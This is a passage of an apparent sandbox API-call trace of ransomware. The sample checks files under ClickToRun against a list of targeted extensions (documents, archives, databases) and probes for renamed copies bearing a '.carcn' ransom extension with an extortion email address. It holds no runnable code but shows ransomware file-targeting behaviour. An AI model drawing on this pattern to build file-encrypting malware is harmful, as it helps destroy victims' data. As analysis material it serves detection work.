(lpString=".ppt") returned 4 [0253.802] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.802] lstrlenW (lpString=".zip") returned 4 [0253.802] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0253.802] lstrlenW (lpString=".rar") returned 4 [0253.802] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString=".bz2") returned 4 [0253.802] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString=".7z") returned 3 [0253.802] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0253.802] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.802] lstrlenW (lpString=".dbf") returned 4 [0253.802] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.802] lstrlenW (lpString=".1cd") returned 4 [0253.802] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.802] lstrlenW (lpString=".jpg") returned 4 [0253.802] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.802] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.802] lstrlenW (lpString=".doc") returned 4 [0253.802] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString=".docx") returned 5 [0253.802] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0253.802] lstrlenW (lpString=".pdf") returned 4 [0253.802] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0253.802] lstrlenW (lpString=".xls") returned 4 [0253.802] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0253.802] lstrlenW (lpString=".xlsx") returned 5 [0253.803] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0253.803] lstrlenW (lpString=".ppt") returned 4 [0253.803] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0253.803] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.803] lstrlenW (lpString=".zip") returned 4 [0253.803] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0253.803] lstrlenW (lpString=".rar") returned 4 [0253.803] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0253.803] lstrlenW (lpString=".bz2") returned 4 [0253.803] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0253.803] lstrlenW (lpString=".7z") returned 3 [0253.803] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0253.803] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.803] lstrlenW (lpString=".dbf") returned 4 [0253.803] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0253.803] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.803] lstrlenW (lpString=".1cd") returned 4 [0253.803] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0253.803] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.803] lstrlenW (lpString=".jpg") returned 4 [0253.803] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0253.803] Sleep (dwMilliseconds=0x64) [0254.392] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.393] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0254.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.393] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=18624) returned 1 [0254.393] CloseHandle (hObject=0x3d0) returned 1 [0254.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0254.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x20 [0254.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.394] lstrlenW (lpString=".doc") returned 4 [0254.394] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.395] lstrlenW (lpString=".docx") returned 5 [0254.395] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.395] lstrlenW (lpString=".pdf") returned 4 [0254.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.395] lstrlenW (lpString=".xls") returned 4 [0254.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.395] lstrlenW (lpString=".xlsx") returned 5 [0254.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.395] lstrlenW (lpString=".ppt") returned 4 [0254.395] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.395] lstrlenW (lpString=".zip") returned 4 [0254.395] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.395] lstrlenW (lpString=".rar") returned 4 [0254.395] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.395] lstrlenW (lpString=".bz2") returned 4 [0254.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.396] lstrlenW (lpString=".7z") returned 3 [0254.396] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.396] lstrlenW (lpString=".dbf") returned 4 [0254.396] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.396] lstrlenW (lpString=".1cd") returned 4 [0254.396] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.396] lstrlenW (lpString=".jpg") returned 4 [0254.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.396] lstrlenW (lpString=".doc") returned 4 [0254.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.396] lstrlenW (lpString=".docx") returned 5 [0254.397] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.397] lstrlenW (lpString=".pdf") returned 4 [0254.397] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.397] lstrlenW (lpString=".xls") returned 4 [0254.397] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.397] lstrlenW (lpString=".xlsx") returned 5 [0254.397] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.397] lstrlenW (lpString=".ppt") returned 4 [0254.397] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.397] lstrlenW (lpString=".zip") returned 4 [0254.397] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.397] lstrlenW (lpString=".rar") returned 4 [0254.397] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.397] lstrlenW (lpString=".bz2") returned 4 [0254.397] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.398] lstrlenW (lpString=".7z") returned 3 [0254.398] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.398] lstrlenW (lpString=".dbf") returned 4 [0254.398] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.398] lstrlenW (lpString=".1cd") returned 4 [0254.398] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0254.398] lstrlenW (lpString=".jpg") returned 4 [0254.398] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.398] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.398] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0254.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.400] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=18624) returned 1 [0254.400] CloseHandle (hObject=0x3d0) returned 1 [0254.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0254.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.401] lstrlenW (lpString=".doc") returned 4 [0254.401] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.401] lstrlenW (lpString=".docx") returned 5 [0254.401] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.401] lstrlenW (lpString=".pdf") returned 4 [0254.401] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.401] lstrlenW (lpString=".xls") returned 4 [0254.401] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.401] lstrlenW (lpString=".xlsx") returned 5 [0254.401] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.401] lstrlenW (lpString=".ppt") returned 4 [0254.401] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.401] lstrlenW (lpString=".zip") returned 4 [0254.401] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.401] lstrlenW (lpString=".rar") returned 4 [0254.401] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.402] lstrlenW (lpString=".bz2") returned 4 [0254.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.402] lstrlenW (lpString=".7z") returned 3 [0254.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.402] lstrlenW (lpString=".dbf") returned 4 [0254.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.402] lstrlenW (lpString=".1cd") returned 4 [0254.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.402] lstrlenW (lpString=".jpg") returned 4 [0254.402] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.403] lstrlenW (lpString=".doc") returned 4 [0254.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.403] lstrlenW (lpString=".docx") returned 5 [0254.403] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.403] lstrlenW (lpString=".pdf") returned 4 [0254.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.403] lstrlenW (lpString=".xls") returned 4 [0254.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.403] lstrlenW (lpString=".xlsx") returned 5 [0254.403] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.403] lstrlenW (lpString=".ppt") returned 4 [0254.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.403] lstrlenW (lpString=".zip") returned 4 [0254.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.403] lstrlenW (lpString=".rar") returned 4 [0254.404] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.404] lstrlenW (lpString=".bz2") returned 4 [0254.404] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.404] lstrlenW (lpString=".7z") returned 3 [0254.404] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.404] lstrlenW (lpString=".dbf") returned 4 [0254.404] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.404] lstrlenW (lpString=".1cd") returned 4 [0254.404] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0254.404] lstrlenW (lpString=".jpg") returned 4 [0254.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.405] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.405] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0254.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.405] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=21184) returned 1 [0254.405] CloseHandle (hObject=0x3d0) returned 1 [0254.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0254.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.406] lstrlenW (lpString=".doc") returned 4 [0254.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.406] lstrlenW (lpString=".docx") returned 5 [0254.406] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.406] lstrlenW (lpString=".pdf") returned 4 [0254.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.406] lstrlenW (lpString=".xls") returned 4 [0254.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.407] lstrlenW (lpString=".xlsx") returned 5 [0254.407] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.407] lstrlenW (lpString=".ppt") returned 4 [0254.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.407] lstrlenW (lpString=".zip") returned 4 [0254.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.407] lstrlenW (lpString=".rar") returned 4 [0254.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.407] lstrlenW (lpString=".bz2") returned 4 [0254.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.407] lstrlenW (lpString=".7z") returned 3 [0254.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.407] lstrlenW (lpString=".dbf") returned 4 [0254.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.407] lstrlenW (lpString=".1cd") returned 4 [0254.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.408] lstrlenW (lpString=".jpg") returned 4 [0254.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.408] lstrlenW (lpString=".doc") returned 4 [0254.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.408] lstrlenW (lpString=".docx") returned 5 [0254.408] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.408] lstrlenW (lpString=".pdf") returned 4 [0254.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.408] lstrlenW (lpString=".xls") returned 4 [0254.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.408] lstrlenW (lpString=".xlsx") returned 5 [0254.408] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.408] lstrlenW (lpString=".ppt") returned 4 [0254.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.409] lstrlenW (lpString=".zip") returned 4 [0254.409] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.409] lstrlenW (lpString=".rar") returned 4 [0254.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.409] lstrlenW (lpString=".bz2") returned 4 [0254.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.409] lstrlenW (lpString=".7z") returned 3 [0254.409] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.409] lstrlenW (lpString=".dbf") returned 4 [0254.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.409] lstrlenW (lpString=".1cd") returned 4 [0254.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0254.410] lstrlenW (lpString=".jpg") returned 4 [0254.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.410] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.410] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0254.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.411] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=19136) returned 1 [0254.411] CloseHandle (hObject=0x3d0) returned 1 [0254.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0254.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.411] lstrlenW (lpString=".doc") returned 4 [0254.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.412] lstrlenW (lpString=".docx") returned 5 [0254.412] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0254.412] lstrlenW (lpString=".pdf") returned 4 [0254.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.412] lstrlenW (lpString=".xls") returned 4 [0254.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.412] lstrlenW (lpString=".xlsx") returned 5 [0254.412] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0254.412] lstrlenW (lpString=".ppt") returned 4 [0254.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.412] lstrlenW (lpString=".zip") returned 4 [0254.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.412] lstrlenW (lpString=".rar") returned 4 [0254.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.412] lstrlenW (lpString=".bz2") returned 4 [0254.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.413] lstrlenW (lpString=".7z") returned 3 [0254.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.413] lstrlenW (lpString=".dbf") returned 4 [0254.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.413] lstrlenW (lpString=".1cd") returned 4 [0254.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.413] lstrlenW (lpString=".jpg") returned 4 [0254.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.414] lstrlenW (lpString=".doc") returned 4 [0254.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.414] lstrlenW (lpString=".docx") returned 5 [0254.414] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0254.414] lstrlenW (lpString=".pdf") returned 4 [0254.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.414] lstrlenW (lpString=".xls") returned 4 [0254.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.414] lstrlenW (lpString=".xlsx") returned 5 [0254.414] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0254.414] lstrlenW (lpString=".ppt") returned 4 [0254.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") 